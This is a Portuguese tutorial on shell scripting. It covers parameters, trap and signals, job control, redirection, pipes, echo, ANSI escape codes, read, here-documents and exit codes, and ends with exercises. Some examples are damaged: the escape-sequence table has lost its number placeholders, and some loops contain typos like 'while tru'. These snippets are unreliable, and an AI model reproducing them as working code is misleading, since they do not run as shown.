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# Conclusão: $* mostra todos os argumentos como uma única string echo echo "Listando argumentos com \"\$@\":" num=1 for arg in "$@"; do   echo "Arg #$num = $arg"   num=$[ $num + 1 ] done # Conclusão: $@ mostra cada argumento em strings separadas echo shift O bash possui um comando embutido que lida com parâmetros, o shift. Quando você  usa o shift sai o primeiro parâmetro da lista e o segundo vai para $1 o terceiro vai para $2, e assim  por diante. Você pode ainda especificar quantas "casas" você quer que os parâmetros "andem" à esquerda através de "shift n" onde 'n' é o número de casas, mas se o número de casas que ele deve  andar for maior que o número de parâmetros o shift não é executado. Veja este exemplo: #!/bin/bash echo "$#: $*" echo ­e "executando \"shift\"" shift echo "$#: $*" echo ­e "executando \"shift 5\"" shift 5 echo "$#: $*" echo ­e "executando \"shift 7\"" shift 7 echo "$#: $*" $ ./shift­exemplo.sh 1 2 3 4 5 6 7 8 9 0 10: 1 2 3 4 5 6 7 8 9 0 executando "shift" 9: 2 3 4 5 6 7 8 9 0 executando "shift 5" 4: 7 8 9 0 executando "shift 7" 4: 7 8 9 0 Os valores que saem são perdidos. Use com atenção! Adbeel Goes Filho

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set (para editar parâmetros) O que vou passar neste tópico não é sobre como usar "todo o poder do comando set", e  sim como usar  set  especificamente para editar parâmetros. Não tem nenhum segredo! Veja este  exemplo: set um dois tres Isso fará com que $1 seja 'um', $2 seja 'dois', $3 seja 'tres' e só! Não existirá $4, $5, etc. mesmo que eles tenham sido usados. Veja um exemplo de script: #!/bin/bash echo "Os $# parâmetros passados inicialmente foram: $@" echo echo "e agora eu vou alterá­los!" echo "como eu sou mau... (huahuahau risada diabólica huahuahuha)" echo set um dois tres echo "Os $# novos parâmetros agora são: $@" echo Não interessa quantos parâmetros você passar para este script, no final você só terá $1,  $2 e $3 valendo 'um', 'dois' e 'tres', respectivamente. Quoting  Os caracteres abaixo tem um modo especial de tratar o shell :  ;  &  (  )  |  ^  <  >  new­line  space  tab  #  ∙   caracter   deve   ser   cotado   pela   precedência   com   um   \.   O   par   \new­line   é   ignorado.   Todos   os  caracteres fechados entre o par de acentos (‘), exceto aspas simples são cotadas.  ∙ Um & no final do comando indica que este irá ser executado em  background.  O  shell  mostra o  número do processo gerado.  Para que você não perca este processo ao terminar seu shell, execute seu comando assim:  $ nohup comando argv1 argv2 ... argvn&  Exemplos: echo $PATH /usr/bin:/usr/local/bin Adbeel Goes Filho

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arquivo=/home/morro.txt more $arquivo txt1=Casa txt2=Mae txt3=Joana echo ${txt1}da$txt2$txt3 Observe que no último exemplo foram usadas as chaves para circundar o nome da  variável, senão o Shell poderia interpretar a variável como txt1da, o que seria o nome da variável  diferente de txt1, caso as chaves não fossem usadas, gerando mensagem de erro de parâmetro não  definido, pois nesse caso a variável txt1da não existiria. Substituição de comando A  substituição de comando  é  usada para substituir  um  comando  por  seu resultado  dentro da mesma linha de comando. Isto será útil quando for necessário armazenar a saída de um  comando em uma variável ou passar essa mesma saída para outro comando. A sintaxe utilizada é: $(comando) ou `comando` A substituição de comando permite que você capture o resultado de um comando e  utilize­o como um argumento para outro comando ou armazene sua saída em uma variável. Exemplo: dir_atual=$(pwd) cp $(ls *.txt) /home/user1/backup Substituição do ~ (til) A substituição do til é executada de acordo com as seguintes regras: 1. Um til sozinho ou em frente a uma barra é substituido pelo conteúdo da variável  HOME. Exemplo: HOME=/home/user3 echo ~ 2. Um til seguido do sinal de + é substituído pelo valor da variável PWD.  3. Um til seguido de – será substituiído pelo valor da variável OLDPWD. Exemplo: echo ~ ls ­1F ~/file1 ls – logt ~+/poodle ls ~­ Adbeel Goes Filho

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Prompting  Quando usado interativamente, o  prompt  do  shell  é o valor da variável PS1 antes da  leitura do comando. Se todo tempo uma linha deve ser digitada e uma nova linha teclada para  completar o comando, então um segundo prompt é mostrado. 

Input / Output  Antes   de   um   comando   ser   executado,   sua   entrada   e   saida   pode   ser   redirecionada  usando as notações interpretadas pelo shell.  < word  ­ Usando word como entrada padrão  > word  ­ Usando word como saida padrão  >> word  ­ Idem ao >, so que neste caso se word já existe não sobrepõe, faz o append.  <&digit  ­ Uso associado a um descritor de arquivo como entrada padrão. Similar pela saida  padrão usando >&digit. Note que digit precisa ser de um tamanho entre 0 a 9.  Exemplo:  ... 2>&1 

Arquivo associado ao descritor 2 com o arquivo corrente associado com o descritor do  arquivo 1. Note que o redirecionamento de I/O é necessário se você quer sincronia com stdout e  stderr   para   o   mesmo   arquivo.   Esta   opção   é   bastante   usado   para   se   configurar   impressoras   ou  dispositivos seriais.    Conceito de Sinais  Um sinal é u m flag transmitido para um processo quando certos eventos ocorrem. Os  sinais mais conhecidos em ambiente *IX são: NULL HUP INT QUIT KILL TERM

Saida do Shell ( ^D ou exit ) Hung­up – enviado para processos em retaguarda no logout Interrupção ( ^C ) Quit ( ^\ ) ­ gera arquivo core Morte certa ( Não pode ser capturado ou ignorado ) Terminação por software

O comando kill transmite um sinal explícito para um ou mais processos. Diite kill ­l para obter uma lista de sinais disponíveis no SO. O que é um TRAP ? Um trap é uma maneira de capturar  sinais transmitidos a um processo e de executar  alguma ação baseada no  tipo de sinal que foi recebido. A trap simplesmente espera por sinais enviados ao Shell, identifica­os e então, executa  Adbeel Goes Filho

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a ação associada. Uma trap pode ser definida para a remoção de arquivos temporários no término de  um programa ou pode definir sinais que devam ser ignorados durante um segmento sensível   na  execução do programa. O comando trap O comando trap  pode ser usado em programas Shell para capturar um sinal antes que  ele possa abortar um processo e executar alguma ação adicional ou alternativa. Os comandos trap são normalmente colocados no início de um SS, mas eles podem  estar em qualquer parte do script. As traps são assinalidas pelo Shell quando este Lê  o comando  trap. As traps são acionadas quando um sinal relacionado é recebido. Sintaxe: trap 'comandos' sinal1 sinal2 ... sinal n Exemplo: trap 'echo bye; exit ' 2 3 15 while tru; do echo “Hello ...” done Ignorando sinais O comando trap pode ser usado para ignorar determinados sinais quando estes forem recebidos pelo  processo. Sintaxe: trap  '' sinal1 sinal2 ... sinal n Exemplo: Ignora o sinal INT que é equivalente ao ^C. trap '' 2 whilte true; do    echo “Hello ...”    sleep 2 done Exemplo: gerenciar remoção de arquivos temporários se o programa for abortado trap 'rm /tmp/templfile; exit' 2 3 15

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Exemplo: comando para ignorar sinais antes de sessos críticas de código trap ''  3 5 Exemplo: restaurar o trap para ação default quando uma seção de código sensível for completada trap INT QUIT TERM  ou  trap 2  3 15  As interrupções e sinais de término invocados por um comando são ignorados se este  comando foi executado seguido do caracter &. Outros sinais tem valores herdados pelo  shell  de  shells­pai, com exceção do sinal 11. (seja comando trap). 

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Comandos especiais  break [ n ]  continue [ n ]  cd [ arg ]  echo [ arg ... ]  eval [ arg ... ]  exit [ n ]  export [ name ... ]  hash [ ­r ][ name ... ]  newgrp [ arg ... ]  pwd  read [ name ... ]  return [ n ]  set [ ­­aefhkntuvx [ arg ... ] ]  shift [ n ]  test  times  trap [ arg ] [ n ]  type [ name ... ]  ulimit [ ­f [ n ] ]  umask [ nnn ]  unset [ name ... ]  wait [ n ] 

Chamada do sh  Opções podem ser especificadas com um simples ou múltiplos argumentos, mas em  todos os casos, cada opção deve iniciar com um ­.  ­c string  ­ Se a chave ­c está presente, então os comandos estão lendo de uma string.  ­s  ­ Se a chave ­s está presente, então os comandos estão lendo da entrada padrão, o shell  irá de cada parametro posicional.  ­i  ­ Se a entrada do shell estiver conectada a um terminal, então este shell é interativo,  Neste caso: TERMINATE é ignorado(então o sinal 0 não mata shell interativo).  ­r ­ Shell restrito.  sh pode retornar :  0 ­ Sucesso  Adbeel Goes Filho

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1 ­ A execução do programa com erro (Veja Comandos especiais)  2 ­ Sintax Error (Erro de Sintaxe) 3 ­ Signal received that is not trapped 

6. Exercicios 1. Qual é a shell mais utilizada pelo AIX/6000 ? 2. Quais são os dispositivos default de entrada e saida utilizados pelo sistema ? 3. É possível alterar os dispositivos de entrada e saida padrões ? Como ? 4. Que tipo de informação é enviada para a saida padrão ? 5. Que outro dispositivo pode ser usado no lugar da entrada padrão ? 6. Utilizando redirecionamento, como você faria para escrever um pequeno texto no arquivo carta ? 7. Qual a diferença entre os sinais > e >> ? 8. Qual a finalidade do dispositivo nulo ? 9. O redirecionamento utilizado em um comando é válido para os próximos ? Explique 10.É possível redirecionar mais do que um   dispositivo padrão num só comando ? Caso afirmativo,  faça um exemplo redirecionando todos os dispositivos padrões. 11. A ordem  com que  são feitos os redirecionamentos é relevante para a ação tomada pelo  comando ? E usando associações ? Explique. 12.Explique os seguintes comandos : a) $ls 2> &1 > saida.do.ls b) $ls ­R / > erros 2> arvore c) $mailto claudia < carta d) $cat >> carta e) $ls ­l /usr > arvore 2> &1 f) $ls > saida.do.ls 2> &2 13.Utilizando a substituição de comandos, atribua a data de hoje no formato dd/mm/yy à variável  TODAY. Consulte o manual on­line para verificar quais os formatos possíveis para a exibição de  datas e/ou horas. 14.Liste o conteúdo do diretório de outro usuário usando a substituição do til ?

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15.Crie uma variável chamado MYNAME e armazene nela o seu primeiro nome. Como se mostra o  conteúdo da variável ? 16.Como fazer para que o Shell filho “enxergue” o conteúdo da variável MYNAME ? 17.Torne a variável TODAY somente­leitura. É possível excluir esta variável ? 18.Modifique seu prompt de comando, de modo que ele fique com a aparência a seguir: [user1]­10/10/2000 as 06:45­/home/user1 => 19.Utilizando a substituição de comando copie o conteúdo de /home/teste  para /tmp   20.Exiba o conteúdo do seu diretório home na saida padrão. 21.Copie a lista detalhada dos processos em execução para o arquivo lista.txt no seu diretório home. 22.Sabendo que a=1 b=2 c=3 Mostre na saida padrão começo­32321­meio­34567­fim utilizando os nomes das  variáveis. 23. Escreva um SS que emita uma mensagen na sua tela a cada 3 segundos com um bip. Torne este  SS imune aos sinais INT, HUP e TERM.  Como parar este programa ?  

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Capitulo 2. Execução de Programas Falaremos agora sobre execução de programas em primeiro plano (fg ­ foreground) e  em segundo plano (bg ­ background), redirecionamento de saídas e também sobre os códigos de  escape dos programas.

7. Execução em foreground e background  Quando   executamos   um   programa,   o  shell  fica   esperando   o   mesmo   terminar   para  depois nos devolver a linha de comando. Por exemplo, quando executamos o comando  cp arquivo1 arquivo2  o  shell  executa esse comando, fica esperando ele terminar, para depois nos retornar a linha  de  comando. Isso chama­se execução em primeiro plano, ou foreground, em inglês.Agora digamos que  o arquivo a ser copiado seja muito grande, digamos, 50Mb. Enquanto o comando cp é executado,  vamos ficar com o shell preso a ele todo esse tempo, ou seja, cerca de 1 ou 2 minutos (Dependendo  da máquina). Somente após isso vamos ter a linha de comando de volta para podermos continuar  trabalhando. E se pudéssemos dizer ao shell para executar um programa e nos retornar a linha de  comando sem ficar esperando o tal programa terminar ? Seria muito melhor, não? Em alguns casos  seria. E podemos fazer isso. Uma maneira fácil é colocar o sinal de & depois de um comando.  No exemplo acima ficaria: virtvs@mucuripe:~$ cp arquivo1 arquivo2 &  [1] 206  virtvs@mucuripe:~$ Pronto, assim que teclarmos [enter], teremos a nossa linha de comando de volta e mais  duas informações: "[1] 206". A primeira informação ([1]) chama­se job. Ela identifica os programas que estão sendo  executados em bg (background). Por exemplo, se executarmos mais um programa em bg enquanto  este "cp" está sendo executado, o novo programa recebe o job de número 2 ([2]) e assim por diante. A segunda informação (206) é o pid do programa, ou seja, o número de processo que o  kernel dá a esse programa. Mas aí temos um pequeno problema. Digamos que você queira trazer o programa para  Adbeel Goes Filho

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fg, por exemplo, se o programa executado em  bg  for um tocador de mp3 e você quiser mudar a  música. Como fazemos? Usamos o comando fg [job] (intuitivo, não ?) do bash. No exemplo acima,  digamos que eu execute o "cp" em  bg, mas depois queira trazê­lo para  fg  para cancelá­lo. Seria  simples: virtvs@mucuripe:~$ cp arquivo1 arquivo2 &  [1] 206  virtvs@mucuripe:~$ fg 1  cp arquivo1 arquivo2 Assim trazemos o "cp" para primeiro plano e a linha de comando só retorna quando ele terminar. Opcional Uma outra maneira de colocar um programa para rodar em bg é utilizando um truque  do bash. Digamos que você execute o comando "cp" e esqueça de colocar o sinal "&". E aí ? Tem  que ficar esperando acabar ou cancelar o comando? Não, podemos teclar: Ctrl + Z. Ao fazer isso,  paramos a execução do programa. Então é só dar o comando  bg [job]  (intuitivo também, né?): virtvs@mucuripe:~$ cp arquivo1 arquivo2 * aqui teclamos Ctrl + Z *  [1]+ Stopped cp ­i arquivo1 arquivo2  virtvs@mucuripe:~$ bg 1  [1]+ cp ­i arquivo1 arquivo2 &  virtvs@mucuripe:~$ Quando teclamos o Ctrl + Z, o bash nos diz que o job 1 foi parado ([1]+ Stopped) e  quando executamos "bg 1" ele nos diz que o comando voltou a ser executado, mas em bg (repare o  sinal de "&" no final da linha): [1]+ cp ­i arquivo1 arquivo2 &.

8. Redirecionamento Muitos   programas   que   executamos   geram   saídas   no   console,   ou   sejam,   emitem  mensagens para os usuários. Por exemplo, queremos achar quantos arquivos no nosso sistema tem  "netscape" no nome: virtvs@mucuripe:~$ find / ­name netscape  /usr/lib/netscape  /usr/lib/netscape/netscape  /usr/lib/netscape/nethelp/netscape  /usr/local/bin/netscape Adbeel Goes Filho

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Agora se quisermos procurar quantos arquivos compactados com o gzip (extensão .gz)  tem   no   nosso   sistema   para   depois   analisá­los   e   possivelmente   apagar   os   repetidos   ou   inúteis,  teremos uma lista muito grande. Aqui no meu sistema deu mais de 1000 arquivos. Então, seria útil  podermos   enviar   as   mensagens   que   vão   para   o   console,   para   um   arquivo.   Assim,   poderíamos  analisá­lo depois de executar o comando. Isso é extremamente útil ao trabalharmos com shell script  ­ enviar as saídas dos comandos para arquivos para depois analisá­las. Exemplificando: virtvs@mucuripe:~$ find / ­name "*.gz" > lista.txt  find: /home/vera: Permissão negada  find: /home/pri: Permissão negada  find: /root: Permissão negada  virtvs@mucuripe:~$ Notamos que nem tudo foi para o arquivo lista.txt. As mensagens de erro foram para o  console. Isso porque existem dois tipos de saída: a saída padrão e a saída de erro. A saída padrão é a  saída normal dos programas, que no caso acima, seria os arquivos encontrados. E a saída de erro,  como o próprio nome diz, são os erro encontrados pelo programa durante sua execução, que devem  ser informados ao usuário, como os erros de "permissão negada". E   aí,   como   selecionar   uma   ou   outra   ?   É   simples,   apenas   devemos   indicar   o   "file  descriptor" (fd) delas. Não vamos entrar em detalhes sobre o que é "descritor de arquivos" por fugir  do nosso escopo e ser um pouco complicado, apenas temos que saber que o fd 1 corresponde a saída  padrão e o fd 2 a saída de erro. Assim, no exemplo acima, para enviar os erro para o arquivo  erros.txt e a saída padrão para o arquivo lista.txt, usaríamos: virtvs@mucuripe:~$ find / ­name "*.gz" 1> lista.txt 2> erros.txt Ou seja, é só por o número da saída desejada antes do sinal de ">". Agora digamos que queremos ver o conteúdo do arquivo lista.txt. Podemos abrí­lo com  um editor de textos ou usar o "cat". Optando pela última opção: virtvs@mucuripe:~$ cat lista.txt  /home/neo/gkrellm­0.10.5.tar.gz  /home/neo/linuxcall­interface­beta.tar.gz  ...  <<< mais de 1000 linhas  virtvs@mucuripe:~$ Temos um problema. O arquivo tem mais de 1000 linhas e não conseguimos vê­lo  inteiro. Podemos redirecionar a saída do comando "cat" para o comando "more", que dá pausa entre  as telas: virtvs@mucuripe:~$ cat lista.txt | more  ......... Adbeel Goes Filho

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Veja que utilizamos o caractere "|", chamado "pipe". Não poderíamos ter utilizado o  sinal de ">"? Não, o sinal de ">" é somente para enviar a saída para um ARQUIVO. Para enviar a  saída de um comando para a entrada de outro, usamos o pipe. As vezes queremos que além da saída ir para um arquivo, ela também vá para a tela.  Temos um programinha que faz isso. Ele chama­se "tee". Veja o exemplo a seguir: virtvs@mucuripe:~$ find / ­name "*.gz" 2> erros.txt | tee lista.txt O que fizemos ? Primeiro pegamos a saída de erro e enviamos para o arquivo erros.txt.  O restante, ou seja, a saída padrão, estamos enviando para a entrada do comando tee (usando o  pipe). O tee simplesmente pega o que ele recebe (através do pipe) e joga no arquivo lista.txt e na  tela.   Assim,   além   de   gravarmos   a   saída   num   arquivo,   podemos   mostrar   ao   usuário   o   que   está  acontecendo. Isso é muito útil quando escrevemos alguns scripts. Resumindo:   aprendemos   que   podemos   redirecionar   a   saída   padrão   ou   de   erro   de  programa para um arquivo usando respectivamente "1>" ou "2>" ou também enviar a saída para a  entrada de outro programa usando o pipe "|". echo Existem   alguns   momentos   que   você   não   quer   que   a   saída   do   echo   pule   de   linha  automaticamente. Para isso use o parâmetro "­n". Este parâmetro é útil quando você vai entrar com  algo após o echo. Veja este script: Exemplo: #!/bin/bash echo ­n "Entre com o nome do arquivo: " read FILE echo "Tipo do arquivo `file $FILE`" Muita atenção deve ser tomada ao usar o echo, pois as aspas que você pode vir a deixar de usar  podem fazer um diferença (em alguns casos isso pode ser muito útil). Exemplo: $ echo uma    boa   rede de irc     que conheco eh     irc.linux.org uma boa rede de irc que conheco eh irc.linux.org $ echo "uma    boa   rede de irc     que conheco eh     irc.linux.org" uma    boa   rede de irc     que conheco eh     irc.linux.org $ $ # agora um exemplo com variavel $ Adbeel Goes Filho

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$ TESTE="primeira linha da variavel > segunda linha > terceira... > chega! :) > " $ echo $TESTE primeira linha da variavel segunda linha terceira... chega! :) $ echo "$TESTE" primeira linha da variavel segunda linha terceira... chega! :) A esta altura você já deve ter se perguntado "Como faço para imprimir caracteres nova  linha ou beep?!". Os mais malandrinhos devem ter tentado um contra­barra (backslash) '\', mas você  não pode simplesmente fazer isso. É necessário usar o parâmetro "­e" com o echo. Este parâmetro  permite que usemos sequências de escape contra­barra.     As sequências são iguais a da linguagem C, exemplo: \n para nova linha, \a para beep,  \b para backspace, etc... Exemplo: $ echo ­e "module caiu de cara tentando \"top soul\".\nQue paia\a"! module caiu de cara tentando "top soul". Que paia! O ­e é também usado para escrever colorido e outras coisas interessantes. Veremos isso no tópico  seguinte.

9. Metacaracteres e Wildcards Metacaracteres são caracteres que possuem algum significado especial para o shell. Wildcards são subconjuntos dos metacaracteres cuja característica é simplificar a linha  de comando.

Os metacaracteres e wildcards serão vistos neste trabalho de  uma maneira gradativa, a  medida em que sejam necessários.Alguns deles já foram vistos no redirecionamento (> < e >> ). Veja mais alguuns metacaracteres:

Caracteres

Definição

\

Continuação de linha

;

Agrupamento de comandos Adbeel Goes Filho

   Shell­Scripts                                                                           41

Caracteres | 

Definição Processamento Sequenciado

O caracter \ (continuação de linha) permite continuar a escrever o comando na linha  subsequente, caso o mesmo seja extenso, ou seja, não caiba em uma só linha da tela. Ressaltamos  que não deverá haver espaço em branco após este caractere. Após pressionarmos a tecla [ENTER] o  shell  mostrará um novo prompt default (>) chamado de secundário, informando que a linha corrente  é a continuação da linha anterior. Exemplo: $cat /home/chico/public_html/index.html \ >     /home/maria/public_html/index.html O caracter de agrupamento de comando (;) permite agrupar os comandos em uma  mesma linha. Sintaxe: Exemplo:

$comando1 ; comando2 $ls ; pwd Isto é equivalente a digitar $ls $pwd

É importante observar que o segundo commando não depende da resposta do primeiro  comando, ou seja, não há relacionamento entre eles. Pipes Pipes  ou tubos ( | ) é uma outra forma de agrupar comandos em uma mesma linha,  porém, há relacionamento entre os comandos. Quand utilizamos o “|” (pipe), ele informa ao  shell  para conectar a saida padrão do  primeiro comando com a entrada   padrão do segundo comando. Por sua vez, a saida do segundo  comando é direcionada para a saida padrão. Para um melhor entendimento imagine que a linha de comando é um tubo por onde  deve passar a informação do primeiro comando para o segundo, do segundo para o terceiro e assim  sucessivamente, até que o último comando  direcione a saida   para a saida padrão. Agora vejamos o pipe. Sua sintaxe é:      $ programa1 | programa2 Adbeel Goes Filho

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O pipe é usado para você fazer da saída de um programa a entrada de outro (como  usado no exemplo amarelinho.sh já mostrado anteriormente). Apesar de simples o pipe é muito útil  e poderoso. Veja este exemplo muito simples: $ who meleu    tty1     Nov 20 01:40 hack     tty2     Nov 20 01:45 root     tty3     Nov 20 02:44 $ who | cut ­c­9 meleu hack root Comandos Úteis com o Pipe xargs O xargs transforma stdin em argumentos da linha de comando. Vamos usar o exemplo  anterior de novo: Exemplo: $ who | cut ­c­9        # lembrando: pipe transforma stdout em stdin meleu hack root $ # "echo" nao le arquivo, ele usa argumentos. $ # A linha abaixo nao tem utilidade. $ who | cut ­c0­9 | echo $ # "xargs" transforma o conteudo de stdin em argumentos $ who | cut ­c0­9 | xargs echo meleu hack root   Como eu gosto do find não resisti e colocarei um comando interessante que usa pipe e xargs: $ find / ­perm ­2 ! ­type l ! ­type c | xargs ls ­ld > wordwritable.txt tee Outro   comando   bom   de   se   usar   com   pipe   é   o   "tee".   Ele   faz   com   que   a   saída   do  programa vá para a saída padrão, normalmente a tela e para um arquivo ao mesmo tempo. É como  se você fizesse "programa > arquivo" só que o saída do programa também seria escrita na saída  padrão. Experimente: Adbeel Goes Filho

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$ ls ­la |tee conteudo.txt O  comando echo e os cracteres de saida \b \c \f \n \r \t \a \\ \0nnn

Backspace Suprime a terminação newline Alimentação de formulário Nova linha ( NewLine ) Carriage Return Tabulação Caractere de alerta Barra invertida Caractere de código ASCII em octal

Adbeel Goes Filho

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10.Sequências de Escape ANSI Para usar cores a sequência de escape é "\e[m" (os sinais '<' e '>' não entram!).  Veja um exemplo (mais a frente você verá tabelas com os significados destas sequências): Examplo: #!/bin/bash # imprime amarelinho no centro da linha # A variável $COLUMNS contém o número de colunas que o terminal está # usando, e antes de executar este script você precisa exportá­la: # [prompt]$ export COLUMNS [ $COLUMNS ] || {         echo Você precisa exportar a variável \"COLUMNS\":         echo "Tente \"export COLUMNS\" e tente executar novamente"         exit 1 } POSICAO=$[ ( $COLUMNS ­ `expr length "$*"` ) / 2 ] # `expr length "$*"` retorna o número de caracteres digitados # como parâmetros. echo ­e "\e[${POSICAO}C\e[33;1m$*\e[0m" Agora uma explicação ligeira: o \e diz ao echo que o que vem depois é uma sequência  de escape. Se você der a sequência '[C', onde num é um número qualquer, o cursor vai andar  "num" caraceteres para a direita. Acima eu uso a variável POSICAO para mover o cursor para o  centro da linha (veja o cálculo no código).     O comando '[m' muda para a cor "num". Cada cor tem um código próprio. No  exemplo acima o 33 faz ficar marrom, porém combinando com o 1 fica amarelo (isso no modo  texto, pois no xterm, por exemplo, o 1 faz o marrom ficar em negrito. veja OBSERVAÇÕES mais  adiante). Veja também uma tabela com os códigos de movimentação de cursor que eu conheço (os  caracteres '<' e '>' devem ser ignorados):

Adbeel Goes Filho

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Código

O que faz

 \e[

Move o cursor N linhas acima.

 \e[

Move o cursor N linhas abaixo.

 \e[

Move o cursor N colunas à direita.     

\e[

Move o cursor N colunas à esquerda. 

\e[

Move o cursor N linhas para baixo na coluna 1.

 \e[

Move o cursor N linhas para cima na coluna 1.

 \e[G   

Coloca o cursor na linha N.     

 \e[;H

Coloca o cursor na linha L e na coluna C.

 \e[I

Move o cursor N tabulações à direita.    

 \e[

N=0  Apaga do cursor até o fim da tela;  N=1  Apaga do cursor até o início da tela;  N=2  Apaga a tela toda.      

 \e[

N=0  Apaga do cursor até fim da linha;  N=1  Apaga do cursor até o início da linha; N=2  Apaga a linha toda.      

 \e[L

Adiciona N linhas em branco abaixo da atual. 

 \e[M    

Apaga N linhas abaixo da atual.   

 \e[P    

 Apaga N caracteres a direita.

 \e[

Move a tela N linhas para cima.     

 \e[

Move a tela N linhas para baixo.  

 \e[

Limpa N caracteres à direita (com espaços).

 \e[

Adiciona N espaços em branco.    

 \e[s     

Salva a posição do cursor. 

 \e[u 

Restaura a posição do cursor que foi salva. 

Adbeel Goes Filho

   Shell­Scripts                                                                           46

Agora   uma   tabelinha   dos   atributos   e   seus   números   (N   deve   estar   no   formato  "\e[m"):

Atributo

N

Cor

X

Desligar todos atributos 

0

Preto

0

Negrito

1

Vermelho

1

Cor X para o primeiro plano

3X

Verde

2

Cor X para o segundo plano

4X

Marrom

3

Sublinhado

4

Azul

4

Piscando (blink)

5

Roxo

5

Video reverso

7

Ciano

6

­x­

­­

Branco

7

OBSERVAÇÕES: – –



Negrito,   Sublinhado   e   Piscando   possuem   comportamentos   diferentes   no   console   e   nos  emuladores de terminal. Principalmente quando temos negrito sendo usado com cores. Por exemplo, o código "\e[33m"  irá ativar  o marrom mas se for usado (no console!) com o  atributo de negrito ficará amarelo, e o código será assim: "\e[1;33m". Por isso faça os testes que  você descobrirá as cores Estas   tabelas   eu   fiz   graças   a   uma   matéria   que   o   aurélio   escreveu   sobre   isso.   Veja   em  http://verde666.org/coluna/  2.

read

Como você viu no script anterior para entrar com um dado usa­se "read". O read tem  alguns "macetinhos". Pra começar: você não precisa colocar um echo toda hora que for usar o read  para escrever um prompt. Basta fazer "read ­p prompt variavel" Veja esta seção de exemplos: Examplo: #!/bin/bash read ­p "Entre com uma string: " string echo $string $ ./read1.sh Adbeel Goes Filho

   Shell­Scripts                                                                           47

Entre com uma string: klogd eh um tremendo cachacero! klogd eh um tremendo cachacero! Examplo: #!/bin/bash read ­p "Entre com 3 strings: " s1 s2 s3 echo "s1 = $s1     s2 = $s2     s3 = $s3" Examplo: $ ./read­2.sh Entre com 3 strings: j00nix eh cabecudo s1 = j00nix     s2 = eh     s3 = cabecudo # o mesmo script com mais de 3 strings # $ ./read­2.sh Entre com 3 strings: eSc2 adora ficar de copy'n'paste no IRC. s1 = eSc2     s2 = adora     s3 = ficar de copy'n'paste no IRC. Quando o "read" vai ler apenas uma variável, toda a string vai ser atribuída a esta  variável. Quando vai ler mais de uma variável ele atribui cada string a sua respectiva variável; e  quando o número de strings excede o número de variáveis a última fica com o excedente. O parâmetro "­s" serve para não ecoar o que for digitado. É útil para digitar uma senha  por exemplo. Tente "read ­s PASS" e veja. Você   também   pode   determinar   o   número   de   caracteres   que   serão   lidos   com   o  parâmetro "­n". Tente fazer "read ­n 10 VAR". Mas cuidado: ao usar a opção ­n você não poderá  usar o backspace para fazer correções. A opção "­r" serve para que a contra­barra (backslash) não aja como um caracter de  escape.   3.

Redirecionamento

Quem já sabe programar deve saber que existem três "file descriptors" abertos por  padrão (pelo menos nos sistemas operacionais que conheço): stdin (standard input), stdout (standard output) e stderr (standard error). Para fins práticos, estes são  considerados arquivos e você pode direcionar destes "arquivos" para outros e vice­versa.

Adbeel Goes Filho

   Shell­Scripts                                                                           48

Veja como direcionar de: arquivo para stdin

$ programa < arquivo

stdout para arquivo

$ programa > arquivo

stderr para arquivo

$ programa 2> arquivo

stdout para stderr

$ programa 1>&2

stderr para stdout

$ programa 2>&1

stdout e stderr para arquivo $ programa &> arquivo   Se você usar por exemplo "find / ­perm ­2 > worldwritable.txt" e no diretório não tiver  um arquivo chamado "worldwritable.txt" este será criado, a saída do comando será gravada nele e a  saída de erro padrão será impressa na tela. Para não ver as mensagens de "Permission Denied" faça  isso:      $ find / ­perm ­2 > worldwritable.txt 2> /dev/null Ainda   temos   um   probleminha:   este   comando   irá   mostrar   também   todos   os   links  simbólicos e vários arquivos de dispositivo. Para eliminar os links simbólicos faça o seguinte:      $ find / ­perm ­2 ! ­type l > worldwritable.txt 2> /dev/null Se   o   arquivo   já   existir   seu   conteúdo   será   sobregravado.   Mas   você   pode   apenas  concatenar o conteúdo no final do arquivo usando ">>". Exemplo:      $ echo " F I M  D O  A R Q U I V O " >> worldwritable.txt Veja este script a seguir a execute ele usando redirecionamento na linha de comando  pra ver os resultados #!/bin/bash echo "Isto vai para a saída padrão." echo "Isto vai para a saída de erro padrão." 1>&2 echo "Isto vai criar um arquivo e colocar esta linha nele." > ARQUIVO echo "Esta linha vai para o final do arquivo." >> ARQUIVO    Tem um outro tipo de redirecionamento que é bastante útil. É assim:     $ programa << delimitador Isto quer dizer que o programa vai ler o arquivo stdin até encontrar o delimitador. Isso é muito útil  para usar programas externos através de shell scripts. Você pode, por exemplo, usar este tipo de redirecionamento para fazer um shell script escrever um  outro   arquivo   usando   o   comando   "cat".   Vamos   a   um   exemplo   em   que   eu   crio   um   código   de  Adbeel Goes Filho

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programa escrito em C através do script (note que as variáveis do script SÃO interpretadas): #!/bin/bash NAME=`whoami` echo ­e "\n\tCRIANDO O ARQUIVO arquivo.c\n" # O arquivo.c terminará quando encontrar a string _EOF_ cat << _EOF_ > arquivo.c #include <stdio.h> int main (void) {         printf ("\n\tPrograma que não faz nada além disso.\n");         printf ("\tFeito por $NAME\n\n");         return 0; } _EOF_ # O arquivo.c acabou na linha ACIMA do _EOF_ # Observe no arquivo.c o $NAME será "traduzido" para o username adequado echo ­e "\n\tCOMPILANDO O PROGRAMA\n" gcc arquivo.c ­o arquivo echo ­e "\n\tFEITO!\n"

11.Códigos de Escape  Toda vez que executamos um programa em Unix, ele retorna um código de escape ao  finalizar. Esse código reflete a condição em que o programa finalizou. Se ocorreu tudo certo e o  programa terminou normalmente, ele retorna 0. Se ocorreu algum problema, o programa retorna um  código diferente de 0, geralmente variando com o problema ocorrido. Esse código de retorno é extremamente importante em  shell  script, pois é assim que  testamos se uma certa ação ocorreu bem ou teve problemas. Esse código é armazenado pelo bash  numa variável chamada "?" (isso mesmo, somente o sinal de interrogação ;­)). Por exemplo, vamos executar um "ls" em um diretório que existe e ver o código de retorno: virtvs@mucuripe:~$ ls /boot  System.map boot.0300 boot.b boot_message.txt chain.b config map os2_d.b  virtvs@mucuripe:~$ echo $? 0  virtvs@mucuripe:~$

